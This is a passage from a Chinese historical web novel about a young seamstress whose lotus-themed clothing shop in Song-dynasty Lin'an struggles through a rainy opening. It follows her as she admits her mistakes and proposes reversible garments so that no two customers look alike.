林秀水却说:“我说入乡随俗,想要富,那就吃酒和醋,图个彩头。” “酒呢,不是说候潮门外酒坛儿,九月刚酿了新酒,还多是菱酒,这菱也算是池塘小景里一物,到时候买来祭花神。” 大家听得愣神,林秀水清清嗓子,“那还少不得一样东西,就是醋,醋是不大好吃的,所以我寻摸了一样东西。” “是什么?”有娘子好奇。 林秀水从门外拿进来一兜青皮橘子,她特意到街边小贩那买的山里野橘,足够酸。 “一人一个啊,这橘子也有个别名,叫作嫌橘醋,酸是酸了点,吃了好发财。” 林秀水全靠嘴忽悠,那些娘子半信半疑拿了过去,掰开一尝,酸得龇牙咧嘴,什么担忧和难受,坐立难安,都转变为这橘子到底哪来的?又酸又苦。 张莲荷拿到橘子,沉默剥开,她塞了一瓣到嘴里,以为会是极为酸苦的,可却尝到了一股甜味。 她颇为震惊,忘了咀嚼,是柑橘,不是大家吃的绿橘子,一点不酸,嘴里充斥着清甜,她却忽然止不住眼泪,失声痛哭。 可没有异样的目光,都觉得是橘子把她酸到了,一个劲安慰她。 林秀水此时过来说:“都怪我,买的什么酸橘子。” “我下回找人家去,明明说卖的是橘子,怎么卖了眼药酸。” 众人闻言便笑,张莲荷又哭又笑,最终用帕子擦干了眼泪,大哭一场可算好受多了,又因此跟大家有了些许认识,她惶惶不安的心松解了许多。 快到临安城门时,她到船尾去感谢林秀水,林秀水远眺前方说:“你知道到哪里了吗?” “不知道。” “过了这河,前面那城门叫作新开门,又称新门,”林秀水拍拍张莲荷的手,“过了新门,就当一切重新来过。” “我,”张莲荷也望向城门,她欲言又止,实在不知该说些什么,此时船外下大雨,她心里下小雨,只好喃喃地说:“多谢。” 一路进了临安,过了新开门,两岸多是青砖白墙,河道宽阔,有许多载着士大夫书生的落脚头船,另有大滩船,船上写着湖州二字,是从湖州运米来的米船。 一路上的码头有纲运司的送粮船停靠,千余石的米由穿着青衫子的排岸司小吏负责装卸,扛米袋子。还有殿前司的红坐船,不用管船戴武冠,穿绯袍,拿黑漆杖的军士呵斥,不论什么船,赶紧调头,或是贴着岸边,船家站船头行礼,让红坐船先行。 林秀水从没在桑青镇见过这景象,看着五六艘大船大摇大摆过去,听不见喧哗,只听得船行过的响声,怕是大气也不敢喘。 不过听闻是正好要到三年一度的明堂大祀,各路船道要排查,殿前司的红坐船才会在每条河道上转悠。 临安繁盛,哪怕是下雨的日子,船只也多于牛毛,河道多,街巷多,从桑青镇到临安不过半日多,可从临安新门到花市就花了半日。 林秀水坐得腿脚发麻,她从一开始的兴奋到困得头直点,夜里到租住的地方睡了一觉,第二日还以为在桑青镇,被叫醒时说:“姨母,我这就起来。” 敲门的张莲荷一脸懵,她试探着应了声,“哎。” “我姨母叫王月兰,你改名了?”林秀水跨出门槛时问。 “要改什么名字?”张莲荷跟在她身后,极其认真地问,“我可以改,要不我跟你姓吧,我把张这个姓给抛了。” 林秀水说:“可以,我把水字分给你,那句话怎么说来着,无水不成莲。” 顾娘子在选铺面时,老念叨这句话,所以满池娇铺子前面是条大河。 但这次天公不作美,一个来月不下雨的临安,从八月底一连下了十来日,今日雨势稍歇,阴雨天,赶紧开业。 请了临安的小唱,路歧人杂耍,几十人穿粉戴绿敲敲打打,放了紧吐莲、慢吐莲的烟火,噼里啪啦响了又响,热闹了好一阵,引得周围一群人过来,看着开业挂牌。 随着鼓声越敲越激烈,人越来越多,满池娇正式开业。 挂上牌匾时,林秀水长舒了口气,她其实为了这个开业,已经有相当一段长时间没睡过整觉了,梦里都是几十人的心血打了水漂。 终于,在临安走出了小小的第一步。 可跟水记全衣时的欣喜不同,她的铺子是为镇里大家做衣裳的,能赚多少赚多少。 但满池娇不同,它是必须要赚钱,要付得起几十人的工钱,对得起数十人夜以继日不停歇从平江府、湖州等地采买的布料,为了一个月里大家开业往返于临安和桑青镇,风尘仆仆,这不是她一个人的铺子。 许多人对它寄予了厚望。 铺子里的每个人都洋溢着热情的笑容,赶紧招揽生意,“娘子进来先瞧瞧,我们这里卖各色莲花衣裳,池塘小景的,叫作满池娇,大家可以进来瞧瞧。” 临安的铺子众多,卖各色新奇衣物的更是数不胜数,来往的女子里,有穿销金裙缎的,石榴裙,十六幅的郁金裙,又有着一件彩绘描金白罗衫,绣各色花草纹百迭裙的。 好衣裳可谓见过不少,但仍旧被挂出来的莲 裙形制所吸引。 “瞧瞧去,你看那裙子,垂得多漂亮,这粉得挺衬我这条青纱裙,”戴着一顶冠子的女子指着挂出来的莲裙说。 她同行的娘子两颊涂抹红色,穿一身缟素的衣裳,闻言轻笑,“怎么是粉的,今年可盛行素白的,不是白的我不穿。” 那高冠的女子转过身,挂下脸来,什么盛行素白的,一群士大夫觉得彩衣不好看,眼下全穿白的,疯疯癫癫的,搞成跟守孝一样,所过之处一片白。 有人就跟他们一样集体为天守孝道,恨不得自己头发都染成白的。 她扶着自己的冠子,哼一声道:“你不穿,我自个儿穿。” “这都不知道是哪里来的铺子,你也敢穿?”素白衣裙娘子气急败坏。 人压根不搭理她,进了铺子里眼前一亮,褙子不再是千篇一律的直袖、窄袖,她撩起来一看,袖子处做成莲花瓣样式的,刺绣精巧,是粉色绸面的,很有光泽。 “这多少银钱一件?”这高冠娘子问。 铺子里的李三娘赶紧回:“娘子,三贯二钱银子,我们这款绸面是从常州来的,刺绣的丝线也全是上好的熟丝,半点不扎,你瞧做了内衬的软面,我们可以依着身形裁改,还可以量身细做。” 高冠娘子压根不喜欢同旁人穿得一样,她直说后,又看了其他的便走了。 没谈拢生意,李三娘有些懊恼,所幸还有其他生意。 “这裙子形制有些意思,可太素净了,”穿黄罗银泥裙的娘子进了铺子,在靠窗挂着的一排莲裙里,面不改色随意挑了挑,撩起下摆道:“只裙头有些意思,这边缘怎么不销金,不刺绣,不织点金线进去?” “还有六百文一条裙子,看不起谁呢?” 其余人正在招呼旁的客人,林秀水守着账台,此时只有张莲荷一个人在旁边,她被这话弄得面红耳赤,看向众人,都在忙各自的生意,强作镇定后,开头有点结巴道:“娘子,我们这里也可以专程定做。” “说来听听?” 张莲荷咽了咽口水,她此前有学过的,尽量顺畅地开口:“我们这裙子叫作一色裁,取自荷叶罗裙一色裁,芙蓉向脸两边开一诗里,这裙子用的粉是特意挑染的莲花粉,娘子要不满意,我们还有其他诸色,牡丹红、莲瓣红、初荷红、莲红、水红。” “娘子觉得裙子素净,我们可以织金,满绣,”那穿黄罗泥金裙的娘子打断了张莲荷的话,“那满绣满织金,我就要在这裙样上头改,钱不是问题。” 张莲荷被这单子冲昏了头脑,她还不忘连连点头,“能做,我们都能做。” 她像是抓住向上爬的绳索,紧紧不放手。 做成一单,也有了开口的勇气,说出口的话越来越顺畅,哪怕被接连拒绝,她虽然羞赧,也仍竭力保持笑容。 开业头一日,赚了二十五两,刨除布料、织线、织金种种,大概是十二两,还算可以。 大家从镇里到临安内城来,一路担忧忐忑,生怕没有生意,此时终于放了点心,觉得照这样来,满池娇能养活几十人。 按这样算,林秀水再待上两日,就能回镇里,一切交给大家照管。 可是等到第二日上午,铺子里众人整理衣裳,忽然刮了阵大风,不到须臾,下起暴雨来,雨水比烟火炸得还响,噼里啪啦从屋檐滑落,在门前积起一滩又一滩的水,路人行色匆匆,急忙奔走,压根没人管这里有间新开的铺子。 等了许久,没见雨势缓解,相反越下越大,一直持续到傍晚,才渐渐小了些,今日没有一文钱进账。 屋子里十来人或坐或站,有的娘子靠在屋檐底下,看了眼这大雨,咒骂了句瘟天,也有的坐在绣墩上叹气,想着几百两银子要打水漂了,沉重地像压着块石头。 “林管事,怎么办?”终于在寂静里有人问出了口,“雨要下这么久,没人来,可怎么办?”“怎么会碰上这种天的,明明我们从桑青镇出来,天都好好的,我眼下真的害怕,跟两年前一样,碰上下了八个月的大雨,那一切都完了,”有一个娘子蹲在地上,捂着脸,说话断断续续。她说服了家里一众人,为了能赚更多的钱才抛下裁缝作里的所有,从镇里到临安城里来,她不想就这样草草回去。 外头雨又下大了,屋里黑沉沉的,弥漫着焦灼,每个人都在等林秀水决断,雨没有那么容易停。 林秀水压着自己酸胀的眉骨,她挺起身板,在瓢泼大雨里,让自己的声音比雨声大,坚定有力,“老天要下雨就让它下。” “它今日不下,以后也会有这一遭,我们是人,没有垮就有法子。” 她摸出蜡烛来点燃,在黑漆漆的屋子里,有了些许火光,在众人慌乱之际,她冷静且有条不紊地安排,“我们这次做了不少的荷叶伞,李三娘和赵青,你们两个去清点总共有几把。” “还有油帽,油衣,莲荷跟小全去后面隔间清点,张阿姐跟陈荔一起去数。” “其余人去翻油布,照着鞋子大小裁了缝好,我们熨布的两个炉子,明日也叫人烧起。” “我们今夜赶赶工,把这油鞋套子先缝了,不要慌,我等会儿去买吃的,我们先吃饭。” 林秀水安排得十分细致,语气温和又有力量,大家也没有跟她唱反调的,劲往一处使,全忙活起来。 她拿了伞,走到门外,雨仍旧不停歇,茫茫一片,看不清路,她不知道得上哪里买去。 此时,不远处有高大的身影快步走了过来。 很奇怪,明明天蒙蒙一片,大雨笼罩四野,此时在临安,不在桑青镇,但她却仍能从这样模糊的雨色里,一眼分辨出来人是谁。 陈九川披着斗笠,步履匆匆,又忽然停下,将伞下的灯笼提到自己的脸下。 “不用照,我老早就看见你了,怎么,运了船货没回去?”林秀水站在屋檐下,看他走过来。 陈九川擦了把被雨淋湿的脸,他取下挂在胳膊上的食盒说:“有天大的事,也先吃饱再说,鸭汤先喝。” “没回去,不好回去。” 林秀水接过沉甸甸的适说:“我怕是要在这里待上一段日子,你回去的话,帮我跟姨母还有金裁缝捎句话。” “好,你先吃,你在这里路不熟,”陈九川掀起斗笠,往里面张望了一眼,“你们有几个人,我给你捎过来。” “我,”林秀水开口,又没有继续往下说,回头看了一眼,“十二个人,随便带些吧。” 陈九川走进了大雨里,林秀水忽然喊:“九哥。” 她的声音不算大,尤其在雨声的掩盖下,可陈九川却回过了头,招招手,大步流星走了。 反正很奇怪,没有想过出现的人,每次不会在她欢喜时出现,但有些许脆弱的时候,总有他。 林秀水站在屋檐下,她看着雨,千丝万缕。 这一夜很难熬,大家在铺子里睡的,睡梦里也盼着雨停,不过雨没有停。 早食又是陈九川送的,他比报晓的行者还准时准点,东西总是热腾腾的。 林秀水默默无言,她难得不知道说什么。 不过背后一堆烂摊子,她只好急匆匆说:“你赶紧换衣裳去吧,可别病了。” “我壮得跟头牛一样,”陈九川说。 林秀水说:“好的,牛,你很好。” 送走陈九川后,回去后,大家撸袖子,鼓起劲喊:“下雨怕什么,卖不了莲裙,就卖伞卖油衣油帽。” “几个大娘留在铺子里,拿上伞和油鞋套子,其他人跟我一块出去,”林秀水说。 她们借伞去,倒不是在路上借给别人,前面是条来往的大运河,有各地来往的商船,通常是没带伞的,要冒雨走一段路。 有个细瘦的娘子带着两个孩子,从船舱里出来,从其他地方过来没带伞,她把自己的衣裳解下来,准备缠在两个小孩头上,一见雨下得这般大,心想糟糕透顶。 忽然头顶多了一把绿色的荷叶伞,她慌忙抬头,有个圆脸小姑娘说:“娘子你去哪,路近的话我送你,路远的话我们的伞借你。” “我们是满池娇铺子里的,你瞧,就是那一间,下次来了还我们就是。” “不过你看你们两个小孩,雨天走不方便,我们铺子里可以供你们歇歇脚,还有炉子,烘干再走也不迟,我们有油鞋套子,走水路也不怕。” 那细瘦娘子心想不用淋雨了,又重复一遍,“你们铺子叫什么?” “叫满池娇。” 这样的对话出现在许多人,渐渐的,雨中奔波,淋雨的人们手中撑起了一把荷花伞,这才是一一风荷举。 源于一把遮雨的伞,避风的屋檐,烘干衣裤的炉子,不少人知晓了三个字,满池娇—— 作者有话说:本章红包感谢大家,近期在调整心态 没赶上八月一号,不过希望大家过得都好[红心] 第85章 第 85 章 打翻身仗——两面穿旋裙…… 伞一把把借出去, 卖雨衣油帽,下雨天里,铺子里也有了点生意。 碍于下大雨, 不好走水路,又湿了裙角和鞋袜的几个女子,接了送来的这把伞, 到铺子里歇歇脚,烘下衣物,接受好意又觉得过意不去的,在铺子转悠, 与众不同的形制让人眼前一亮,买了好几件。 不过一个小娘子看了一圈,挑了又挑后说:“这裙子不错, 跟其他铺子里的形制都不一样,就是这颜色,我不大喜欢,且你们卖得这么多,到时候路上碰见的人,都穿这个,那我们不是撞上了, 多叫人难为情。” 哪怕大家再三说, 临安城那么大, 很难撞得太多, 人家不大喜欢。 下雨本来没带伞的人不多,一日满打满算借出去十五把伞,卖出去二十把伞,到铺子里来有十二个人, 做了七八单生意,卖了十二贯多的银钱。 除去成本,压根没赚多少,铺子里大家在积水路段走了一日,脱下鞋袜来,不少脚泡得发白发皱,张莲荷打了个大喷嚏。 林秀水累得打瞌睡,被她这个喷嚏吓得一激灵,揉揉沉甸甸的眼皮,拢紧身上的豆绿褙子。 她尽量让自己显得有精气神,“叫了鱼汤,另有七宝擂茶,大家先祛祛寒,垫垫肚子,晚些等雨停了,我们到这附近的正店去吃点好的。” “再回住处换身衣裳,睡个整觉,明日晚些来。” “好,”张莲荷第一个响应。 其他人稀稀落落地回,实在提不起太大的兴致,毕竟生意不好,开业奔着亏本去的,很难高兴得起来。 陈二娘子揉着腿,暗自在心里嘀咕,呸,早知道就不争破脑袋过来了,钱没赚到还受罪,竹篮打水一场空啊。 借伞只能带来短期的生意,还有借伞不还的,又亏一笔,也有借了伞,转日寻过来还的,顺带买几件衣裳。 几日下来,雨仍然不停,有了些许人知道满池娇,每日也有五到十二贯的进账,但跟大家所预期的钱数一半都没达到,强撑着而已。 铺子里前期的钱一直是裁缝作垫的,开了铺子后,不再出钱,自负盈亏,还得从铺子里支取银钱,付清大家的月钱,余下三成才是林秀水赚的钱。 就像抽纱绣,能赚钱的话可以提月补、节礼,涨月钱,像满池娇赚不了钱一直赔的,裁撤人员还得补上一大部分的亏空,毕竟当时林秀水也为了争取布料和镇里的买卖定价,做过赚钱的保证,列了很详细的契约条款。 亏到连裁缝作也都清楚这里的近况,说得好听点,是在临安摸着石头过河,结果雨太大把石头给淹了,过不了河。 说得难听一点,几百两付之于大雨,乌龟在这天里都自身难保,翻不了身。 林秀水几日没睡好,她有种蹚着水过河,举步维艰,站在滚滚洪流中要被冲走,她面上不显,也一直采取积极的举措,各种迎客往来买卖,收效甚微。她一夜接连做了好几场噩梦,睡醒后坐起来,一脑门的细汗,被子也潮濡濡的,她很冷。 一早起来,听着细雨和风拍打在支摘窗上,屋外传来张莲荷跟陈二娘子的吵嘴声。 陈二娘子气急败坏地喊:“没生意就是没生意啊,我就算睡到半下午起,铺子里有人影吗?你这么殷勤,到时候能多分你点钱是不是!我告诉你,你做梦去!” “我就爱做梦,我就乐意早点去,卖一文钱都好,生意不好那是暂时的,”张莲荷气得脸红,“我就信林管事,她要赚了钱,你肯定没份。” 两个人吵得不可开交,其他人出来劝架,林秀水听得头疼,她第一次冷着脸开门出来,她说:“可以回去。” 吵架的两人停下,一众人全看向她,林秀水面无表情地重复,“我说,不想干的可以回去。” “我会写一封信给顾娘子的,回去也不会怎么样,一切照旧。” 此话一出,除陈二娘子外,另有三四位娘子相互打量,也暗暗动了心思,只是没直说,毕竟谁愿意没一个没有起色的铺子耗下去。 当日下午,陈二娘子就收拾好包裹,气冲冲先走了,另有五个人相继哭诉,说着自己家里不容易,实在待不了,领了信拿上行囊离开。 短短数日,除了林秀水外,原本十二个人手只剩一半,留下来的还年轻,觉得可以再撑一撑。 张莲荷笨拙地安慰林秀水,“就算大家都走了,我也不会走的,我们肯定能想出法子来的。” “我可以每日背着衣裳,挨家挨户,走街串巷去卖的。” “阿俏,你真的别往心里去,”会说临安话的谷娘子说,“有句话叫作城隍庙里的算盘,不由人算,总要想开点。但你岁数轻,又有能耐,何尝不能打一场翻身仗。” 剩下几位娘子七嘴八舌安慰林秀水,知道她在挑一个很重的担子,还买了二十几张指日晴的纸马,拿一个炉子全给烧了,又烧又念。 林秀水却向她们很诚恳地承认了,自己决策上的失误,步子迈得太大,当时正是莲花裙在镇里盛行时,被许多人喜爱,每日卖出几百件,就冲昏了头脑,大家觉得哪怕到临安来,也会盛行。 本钱越小越敢拼,本钱越大反而就想□□,想复刻上一次的成功,换汤不换药,当时莲花粉卖得很好,其他颜色很一般,定了换好料子不换色的基调。 她说了很长一段话后,才道:“不过生意不管如何,月钱不会少给大家的。” 想起昨日一个来还伞的娘子说:“这里的衣裳很出挑,可颜色样式都大差不差,穿上去满大街都是,除了两种人,其他人基本不会要的。” “一是手里没有多少银钱傍身的,她们会喜欢这种衣裳,二是孩童,她们不会计较跟别人穿一样的。” 当初在裁缝作里商讨时,大家说莲裙在桑青镇里卖得很便宜了,到临安要抬一下身价,相当于放弃为便宜而买的女子,成衣也意味放弃富贵人家的娘子,专攻中间那部分有些银钱的。 眼下不论下不下雨,这步棋都走错了,喜欢便宜的被排除,又没有命中精准的那部分人群,基本不喜欢跟别人同样的。 她冒雨去过好几家成衣铺,每一家都有各自料子或者刺绣上的优势,虽然形制一样,可颜色大相径庭,差异化很明显。所以从其他地方想再多的法子,也不如从衣裳上更改。 面对愈发惨淡的生意,林秀水即使有了些许想法,她也在这次失利中,变得束手束脚。 她实实在在跌了个大跟头。 每日亏本的钱比赚的要多,开一日铺子亏空两日,再如此下去,林秀水要赔钱了。 大家怕她一蹶不振,顾娘子也来了一封长信,大致意思叫她赶紧回镇里来,一切都好商量,但林秀水想的却是,从哪里跌倒就从哪里爬起来,只是她需要些时日。 又熬过了惨淡的一日,傍晚边上,陈九川来请她吃饭,林秀水即使没有半点胃口,也跟着一起去了。 “以后我不干船运了,”陈九川走在她左侧,举着伞。 林秀水被吊起了胃口,语气带点震惊,“什么?” 陈 九川将伞偏斜了一下说:“我准备当行者去,他们不是每日打铁板儿,或是拿木鱼儿,按着阴晴来念的,我就日日念天色晴明。” “什么呀?”林秀水笑了声,“你这样当不成行者的,人家要照实念的。” 陈九川一本正经道:“我觉得都怪当时到天竺寺里,那里经过吴山,两边是求雨圣地,才雨上加雨,要不怪今年潮水涨得太多,全到天上成雨落下来了,再则还可以怪天晴太久…” “不是,”林秀水纳闷,“非得找个东西怪一下是不?” 他想了会儿说:“是,非得找东西责怪一下。” “可以怪天怪地,怪陈九川。” “不要怪自己。” 林秀水轻轻笑了声,“我有什么好怪你的,你说得对,”她跨过脚下的水坑,好多人都怪她,她其实也埋怨自己。 “我们走船运的,碰上最多的就是绕路,”上了船后,陈九川在船前说,“这一条路不成就走另一条。” 他很熟悉临安的河道,在这种明堂大祀时,很多河道都被殿前司占了的时候,特意带林秀水绕了好几条水路,哪怕前路不通,弯弯绕绕,最后也抵达了目的地,山水正店。 林秀水此时缓和了许多,跟着陈九川走到正店二楼,他定了一个稳便阁儿。 待到走进屋里时,陈九川退后一步说:“你先进去,我去点菜。” 林秀水不明所以,仍纠结于他怎么要定一个阁间,撩开蓝缎子门帘进去,又惊又喜。 “姨母,小荷,”她倒抽气,赶紧走几步上前,“你们怎么过来的?” 从镇里到临安城里,起码要有一日的工夫,她从来没想过,姨母跟小荷会到这里来,一是竟不知如何反应。 小荷坐了八九个时辰的船,累得靠在椅背上呼呼大睡,王月兰一把提起猫小叶,塞到林秀水怀里,站起来说:“坐阿川的船来的,这临安到底是大啊,折腾一日了。” “你在这里脱不开身,我总要过来瞧一眼的吧,”王月兰说完,先指小荷,“这带来给你解闷的。” 又拍拍大胖猫,“这只是带过来给你添乱的。” “只有我是来瞧你的。” 小荷此时醒了,她双腿跪到凳子上,努力伸手蒙住王月兰的眼睛,很严肃地说:“娘,你不要睁眼说瞎话。” 她很认真地说:“阿姐,我很想你的,我坐了好久的船,从天黑坐到天黑来看你。” 她说完,在脑袋上挠了挠,“我来前想了好多话,都怪雨,它把我想说的话给下没了。” 王月兰抓住小荷的手,嫌弃地皱眉,一手的臭汗全糊她脸上了,“臭死了。” “骗人,”小荷反驳,“我刚才睡得可香了。” 外面有呼啸而来的风雨,林秀水抱着胖乎乎的猫小叶,她傻站在那里,鼻子有点酸,这股酸又渐蔓延到眼睛里,到后面笑出了声。 明明曾经想的是,等她在临安有了起色,再把姨母跟小荷接过来,好好逛一逛,只是啊。 小荷摇头晃脑,“阿姐你待在这里不要怕,我们会陪你到回家去的。” “你哪里看出来我怕了?”林秀水收拾好心情,问她。 小荷说:“这里不是家里,没有熟人,全是生人,我害怕,你肯定也害怕。” 王月兰说她,“你就会胡言乱语,说点好听的。” “给我吃点糖,我就会说甜言蜜语了,”小荷脑子转得很快,她赶紧伸出手,“我不白吃,我分给阿姐。” 林秀水哈哈大笑,那些积压的阴霾,稍稍散开。 她知道的,明明面对着两个人,她却深刻感受到了三个人对她的感情,此时要让她缝补东西的话,她一定会手抖,会错针,对从前的她来说,这是要被纠正的失误,对今日的她来说,她允许失误的发生。 如果没有喜欢的话,往返于临安和桑青镇的十八九个时辰也太漫长了。 此时陈九川并没有进来,他靠在墙上,疲惫合眼,他知道她难过的时候,想见的是谁。 即使不是他。 林秀水在分别的时候,望向他的眼睛说:“陈九川,明日见。” 陈九川没回,他好像有点傻掉了。 哎,漫漫长夜,无心睡眠。 林秀水没睡好,可她终于能睡着了,王月兰跟小荷挨着她一块睡的,脚边还有只火辣辣的大胖猫,她不冷了。 转日,睡眼朦胧间,林秀水看到床上一堆粉色的东西,胡乱摸了把,手感很熟悉,她坐起来,眼睛睁大,“姨母,你穿什么呢?” “穿什么,废话,穿衣裳啊,”王月兰厚着脸皮,她将从镇里买的粉色短莲裙绑在青纱裙外头,上面套一件莲花抹胸,此时正把大莲花袖的褙子整理好,穿一件绣着莲花图案的背心。 不怪林秀水这么惊讶,王月兰生平最不喜欢粉的,因为粉色显得她很黑。 林秀水慌忙爬起来,“不至于,姨母,真的不至于。” 小荷一骨碌爬起来,她哇了声,“我娘改名叫王莲花了。” 王月兰倒也没反驳,“对啊,这才生的你啊,荷叶她娘是莲花。” 她又对林秀水说:“少管我穿什么,我穿什么都可以。” 林秀水哦哦两声,她就想说,怎么不找她量身定做呢,这背心不合身啊。 王月兰其实很羞耻,可她一直保持着坦然的神情,让小荷跟林秀水,别跟着她,她自己摸到了临安的茶馆、酒肆、瓦舍,碰见一个人看她。 她就会跑上去跟别人搭话,哪怕她根本不会说临安话,他也“阿妹,你也看上这衣裳了,我在那个花市旁边的拐角路口的满池娇铺子里买的,你也瞧瞧去呗。” “料子啊,料子老好了,试试又不亏,才这个数,六百,你摸摸看。” “哎呦,满大街穿怕什么,大家都穿一样的,不是我吹,妹啊你穿这裙子一定好看。” 王月兰说着解自己外裙,“来,我身上的扒下来给你试试,试试又不要钱。” 她跟人家操持着不同口音的对话,硬是软磨硬泡,让对方去瞧瞧,张莲荷几个都没有她这样的脸皮。 而铺子里突然来了五六个人,林秀水很奇怪,有位娘子说:“那是你娘?还是谁?跟我们说了半篓子的话,背心、合围裙都薅下来给我们穿,看她这样起劲,就过来瞧瞧。” 林秀水忽然全懂了,心里酸酸胀胀,晌午跟王月兰说:“姨母,你别去了。” “你别管,我还去,”王月兰揉着自己的腿脚。 她叹口气道:“阿俏,这都是暂时的坎,在临安不行,就回镇上来,亏了就亏了,花都没有百日红。” “哪怕到最后没人穿,我也会穿的。” “但你不能因此没了心气,”王月兰告诉她,“我们对岸那张百户家里,很早之前做猪肉营生的,后面运猪的时候,猪全掉水里淹死了,又去做鲜鱼买卖,鲜鱼被他折腾的,后头全变闲鱼了。可他不信邪啊,把家里的田契压在质库里,得了十贯银钱,他又南下去做鲞团生意,这不就发家了。 林秀水听着难受,到后头抹一把脸,突然说:“不对啊,明明上次姨母你说,张百户这人怕不是有啥大病,安稳日子不过,净瞎折腾,卖点鲞团都能泡了水,被人抓住打了一顿。” 王月兰拍了她后背一下,“你能不能别打岔,你听错了,上回我说的张白虎,跟这张百户不是一个人,你听话听音行不行。” 她又念叨起来,“要不咱们回去吧,看来临安风水不大行啊,你咋傻了呢?” 林秀水才不傻,她就是憋闷得慌,故意插科打诨。 她非得振作起来不可,她非得想出个法子。 人没有运气的时候,那么不能再没了心气和勇气。 她要先回到镇里去,在这里待着也不是个法子,一切交给谷娘子跟张莲荷,至少眼下每日还有些生意。 至于临安,她还会回来的。 坐船回到桑青镇,镇里倒是刚下过雨,此时天阴蒙蒙的,她睡了一整日,才穿戴整齐,回到裁缝作。 此时路过的裁缝都显得很惊讶,看见她回来,像是看见了不可思议的东西。 “林管事,你回来了呀?临安好不好啊?” “听说不大好,你还年轻,还年轻。” “年轻跌几跤没事的,亏就亏,再有个十年二十年的,以你的年纪都不怕。” 林秀水微笑,“是啊,我很年轻,我还真不怕。” 她转身就走,手里握成拳,长呼一口气,后背如芒在刺,真是今时不同往日。 一路顶着众人的目光,面不改色,挺直脊背到顾娘子的屋子里,推开门,顾娘子一个人在里面。 “坐吧,”顾娘子点点前面的椅子,“吃过了吗?” “吃了。” 顾娘子都没有梳妆打扮,穿着很素净的袄子,神采不显,手按在茶盖上,看着林秀水说:“临安跟镇里大不一样,此事说实话, 我也有过错。” “只是阿俏,”顾娘子按着自己的额头,“亏太多了。” “镇里卖的莲裙和抽纱绣赚的,都补不上这亏空,我在想,先把这里的钱赚到吧,其他人的闲言碎语,你也不要放心上,到时候等天晴了,我们再想点法子。” 她说:“今明两年,就暂且不要变动了。” “你,你先管好抽纱绣吧。” 林秀水坐得笔直,她知道这次的亏本,影响着后面她所有的安排,费了大劲,说服众人成立的满池娇也成了笑话。 她平静而掷地有声地说:“我想再试一次。” “我可以承担所有亏本的银钱,不管是几百两,哪怕到上千两,我也能为自己的决定承担所有的后果。” “我可以赔,我可以离开裁缝作。” “你疯了是不是!”顾娘子头一次跟她很大声地说话,“你以为是在扑卖吗?你以为是拿六文铜板搏人家上百文的东西吗?你这一次赌输了,我怎么保你啊!” “你别想了,这一次就这样,”顾娘子闭起了眼,她努力平复自己的心情,“这一次亏本就亏本,你别怕丢脸,晚点抓紧赚回来就是了。” “我真的没有疯,我能亏,我就能赚回来,”林秀水的神情里透露出少有的倔强,“我怕的话,我就不会说。” 她此前确实害怕,她接连做了许多噩梦,可她并不缺乏,从哪里跌倒就有从哪里站起来的勇气。 顾娘子都要被她气死了,“林秀水你知道你眼下像个什么吗?你像个赌徒!” “那娘子你先支我点钱再骂我。” 顾娘子气笑了,让她暂时滚远点。 到下午消气了,心软了,毕竟林秀水之前给裁缝作赚了许多钱,总不能卸磨杀驴。让她当着整个满池娇的二十几位裁缝,说说她之后的安排,如果大家都觉得可以试一试,那么勉强再试一回。 从前林秀水努力在满池娇众人心里积攒的威望,这一次也转变为失望,裁缝作许多人是看热闹的,只有她们深涉其中,一荣俱荣,一损俱损。 她们也很想听林秀水到底想怎么说,有些人也略带恶意地揣测,她会不会狡辩。 相反,林秀水很诚恳也很真切地向众人表明,她的决策就是失误的,没有做好,没有长远的目光,她会承担全部的责任,失利的时候埋怨别人,都是另一种狡辩。 林秀水坚定地发声:“可我不会后悔,再来一次成立满池娇,走到临安去,重来一回我这小半个月的经历,我也不会后悔。” 有些事只有做了,只有知道自己走上弯路了,才知道它到底为什么不可行,哪怕试错的代价相当高昂,她依旧肯承认,这路没有白走。 错了就是错了,她又不是死了,她就可以从错误的决定里走出来。 在场不少人被她的言论震撼,有人很欣赏她,也有人觉得她不撞南墙不回头。 “好,那么林管事,你到底有什么打算,我们上有老下有小,跟你不一样,真的耗不起,你说再试一次,到底想怎么试?”金娘子很认真地问她。 陈裁缝说:“我们真的不是在玩小孩子把戏,赌输了耍赖,这次就能轻松揭过去,立即到下一场去,我们积压那么多的莲裙、背心,这个月卖不完,下个月的没法开工,我们难道喝西北风去吗?” 林秀水先说:“既然已经知道,同色化的衣裳在铺子卖得不好,那么就走到处兜售的路子,在市井里混的,她们大多会喜欢花哨的,不会管相不相同,我可以卖出去。” 也不管其他人如何议论,她喝了口水,压下嗓子的痒意,加重声音说:“那么如何要保证形制不变,能保留满池娇的颜色,但是每一件又可以独一无二呢?” “如何?” “怎么?” “不可能!” “好了,真的不要闹了。” 林秀水在质疑声中说:“做两面穿的衣裳。” 众人歇了声,琢磨这个词,林秀水在临安的小半个月不是白混的,她走访了许多的成衣铺,还去过布市,每一日到深夜都在琢磨,有什么办法可以力挽狂澜。 她想了很久,一小侧毛都要被她揪光了,旁边又是花市,买卖各种鲜花朵的,尤其九月九重阳节,卖菊花的特别多。 有种小白菊,看着和其他菊花的样子没有差别,补过卖得挺好。 她就站在一旁看,那白菊上面一瓣是白的,反过来一面是黄的、蓝的,都是摊子上的卖花娘子用其他的染料一瓣瓣涂上去的。 “这样费力,会卖得更好吗?”林秀水问。 卖花娘子说:“你买一盆,我就告诉你。” 林秀水忍痛掏了三百文买了一盆,寻常的才一百文一盆而已,那卖花娘子收了钱才说:“是卖得更贵啊,你都看见我花了力气在上头,费了心思,我又不是有病,赚不了钱的东西,瞎捣鼓做什么呢。” “哪怕是市面上一样的小白菊,加点其他东西点染,卖的比一般的要好多了。” 林秀水彻底了悟,桑青镇地方不大,又贪图实惠,大家买得越多的东西在她们眼里看来,就是自己眼光好,没买亏,毕竟她们总能说,谁谁谁都买了,我不能落她后头去。 坏就坏在临安地方大,大家想要一样又不一样,能在人群里出彩,可不能跟其他人撞上,这样会失了脸面。 是以林秀水明白了,她所想的形制绝对是独一无二的,那么就是更改颜色和料子等。 她拿出自己做好的两件衫子,是两面穿的衣裳,不论正反,里面为满池娇一直在用的莲花粉,而另一面,则用了霁青色莲花纹缎面。 另一件的话,依旧一面用莲花粉,但另一面则是织金白色素罗。 她将两件做工很精细的衫子给众人细看,等待大家看的时候,她接着往下说:“在保留满池娇原有的特色时,把颜色和花纹做在衣料上,让衣服自己给我们打出招牌来。” “而另一面,用完全不同色的料子,确保每一件的料子都是不一样的,那么穿出去的那一面,不会再跟任何人撞上。” 